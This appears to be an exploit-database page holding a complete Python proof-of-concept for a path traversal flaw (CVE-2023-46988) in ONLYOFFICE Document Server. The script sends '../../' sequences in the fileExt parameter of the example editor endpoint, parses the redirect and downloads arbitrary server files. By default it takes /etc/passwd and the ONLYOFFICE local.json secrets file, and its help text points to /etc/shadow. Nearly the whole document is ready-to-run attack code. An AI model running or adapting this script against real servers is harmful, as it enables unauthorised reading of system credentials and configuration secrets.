4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / onlyoffice_exploit.py PY
import requests
import re
import sys
import argparse
from urllib.parse import urlparse, parse_qs, unquote, quote

# Disable SSL warnings (user can override with --verify flag)
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def get_protocol(url):
    """Return the protocol (http or https) based on the URL."""
    if url.startswith("https://"):
        return "https"
    elif url.startswith("http://"):
        return "http"
    else:
        print("[!] Invalid URL format. Use http:// or https://")
        sys.exit(-1)

def retrieve_secrets(url, file_path, proxies, verify_ssl):
    protocol = get_protocol(url)  # Get protocol (http or https)

    # Define default files to retrieve if none are provided
    files_to_download = ["/etc/passwd", "/etc/onlyoffice/documentserver/local.json"]
    
    # If user specifies a file, download only that file
    if file_path:
        files_to_download = [file_path]

    for target_file in files_to_download:
        print(f"[*] Attempting to retrieve: {target_file}")

        target_url = f'{url}/example/editor?fileExt=../../../../../../../../{target_file.lstrip("/")}'
        print(f"[*] Sending request to: {target_url}")

        try:
            response = requests.get(target_url, proxies=proxies, allow_redirects=False, timeout=10, verify=verify_ssl)

            # Extract redirect URL
            match = re.search(r"Found\. Redirecting to (http[^\s]+)", response.text)
            if match:
                redirect_url = match.group(1)
                print(f"[+] Extracted Redirect URL: {redirect_url}")

                # Parse the URL and extract 'fileName' parameter
                parsed_url = urlparse(redirect_url)
                query_params = parse_qs(parsed_url.query)

                if 'fileName' in query_params:
                    extracted_value = unquote(query_params['fileName'][0]).strip()
                    print(f"[+] Extracted File Name: {extracted_value}")

                    encoded_filename = quote(extracted_value)
                    # Fix: Add "%20" if filename starts with "("
                    if extracted_value.startswith("("):
                        encoded_filename = "%20" + quote(extracted_value)
                    else:
                        encoded_filename = quote(extracted_value)

                    # Download the extracted file with the encoded name
                    download_file(f'{url}/example/download?fileName={encoded_filename}', extracted_value, proxies, verify_ssl)
                else:
                    print("[-] No 'fileName' parameter found in the redirect URL.")
            else:
                print("[-] No redirection URL found in response body.")

        except requests.RequestException as e:
            print(f"[!] Request failed: {e}")

def download_file(url, filename, proxies, verify_ssl):
    """Download the file and save it with the extracted filename."""
    try:
        response = requests.get(url, proxies=proxies, stream=True, timeout=10, verify=verify_ssl)
        if response.status_code == 200:
            with open(filename, 'wb') as file:
                for chunk in response.iter_content(chunk_size=8192):
                    file.write(chunk)
            print(f"[+] File downloaded successfully: {filename}")
        else:
            print(f"[-] Failed to download file. HTTP Status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[!] Error downloading file: {e}")

def main():
    parser = argparse.ArgumentParser(description="ONLYOFFICE Path Traversal Exploit (CVE-2023-46988)")
    parser.add_argument("url", help="Target URL (e.g., https://example.local)")
    parser.add_argument("--file", help="File path to retrieve (e.g., /etc/shadow)")
    parser.add_argument("--proxy", nargs="?", const="http://127.0.0.1:8080", help="Use proxy (default: Burp Suite on http://127.0.0.1:8080). Provide custom proxy if needed.")
    parser.add_argument("--verify", action="store_true", help="Enable SSL verification")

    args = parser.parse_args()
    
    proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
    verify_ssl = args.verify  # Enable SSL verification if flag is set

    print(f"[*] Target URL: {args.url}")
    retrieve_secrets(args.url, args.file, proxies, verify_ssl)

if __name__ == "__main__":
    main()